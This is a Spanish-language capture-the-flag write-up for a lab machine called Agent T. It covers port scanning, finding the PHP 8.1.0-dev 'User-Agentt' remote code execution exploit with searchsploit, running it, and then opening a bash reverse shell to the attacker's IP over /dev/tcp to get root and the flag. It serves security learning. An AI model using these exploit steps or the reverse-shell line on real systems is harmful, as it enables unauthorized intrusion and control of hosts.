En este writeup trabajaremos sobre la máquina Agent T, es una máquina fácil y a continuación veremos como resolverla.
IPs
Máquina atacante => 10.8.46.8
Máquina víctima => 10.10.255.45
RECONOCIMIENTO
El primer paso es ver si tenemos conexión con la máquina, así que haremos un ping a la máquina víctima.
➜ ping -c 1 10.10.255.45
PING 10.10.255.45 (10.10.255.45) 56(84) bytes of data.
64 bytes from 10.10.255.45: icmp_seq=1 ttl=63 time=59.6 ms
--- 10.10.255.45 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 59.646/59.646/59.646/0.000 ms
Al decirnos que un paquete ha sido transmitido y uno recibido, sabemos que tenemos conexión con la máquina. Además, sabiendo que el ttl = 63 sabemos que es una máquina linux.
ESCANEO
Para escanear la máquina con el fin de ver qué puertos están abiertos usaremos la herramienta nmap.
➜ sudo nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.255.45
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 62
Ya tenemos información importante, sabemos que el puerto 80 está abierto y que este corre un servicio http.
Veamos un poco más de información de este puerto para poder ejecutar scripts de reconocimiento, para ello volveremos a usar nmap.
➜ sudo nmap -p80 -sV -sC 10.10.255.45
PORT STATE SERVICE VERSION
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
SEARCHSPLOIT
Searchsploit es una herramienta muy útil y que nos puede ahorrar mucho tiempo, se usa para detectar vulnerabilidades de un servicio y versión específicos.
➜ searchsploit PHP 8.1.0-dev
PHP 8.1.0-dev - `User-Agentt` Remote Code Execu | php/webapps/49933.py
Vemos que nos ha detectado una vulnerabilidad crítica así que vamos a usarla.
Para tener el archivo 49933.py en nuestra máquina tenemos que ejecutar el siguiente comando:
➜ searchsploit -m 49933
Ahora ya lo tenemos en nuestra máquina, listo para usarlo.
HACKEANDO
Vamos a utilizar el script que nos hemos descargado previamente a ver que pasa.
➜ python3 49933.py
Enter the full host url:
https://10.10.255.45 #https://ip_victima
Interactive shell is opened on http://10.10.255.45
Can not acces tty; job crontol turned off.
$ pwd
/var/www/html
$ cd ..
$ pwd
/var/www/html
$
Vemos que tenemos una shell, pero no podemos movernos del directorio actual, así que vamos a probar de enviar una reverseshell a nuestra máquina. Para ello vamos a ponernos en escucha por el puerto 443.
➜ nc -nlvp 443
listening on [any] 443 ..
Y desde la máquina víctima ejecutamos una reverseshell en bash.
➜ bash -c "bash -i >& /dev/tcp/10.8.46.8/443 0>&1"
¡EUREKA! Ya tenemos conexión a la máquina y podemos movernos entre directorios, además si hacemos whoami vemos que somos root.
➜ whoami
root
Ya solo queda encontrar la flag.txt. En esta máquina está en el directorio raíz /, pero (en la majoria) se encuentra en el directrio del usuario.
➜ cd /
➜ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
¡YA ESTAMOS!! Con el comando cat podemos visualizar el contenido de flag.txt.
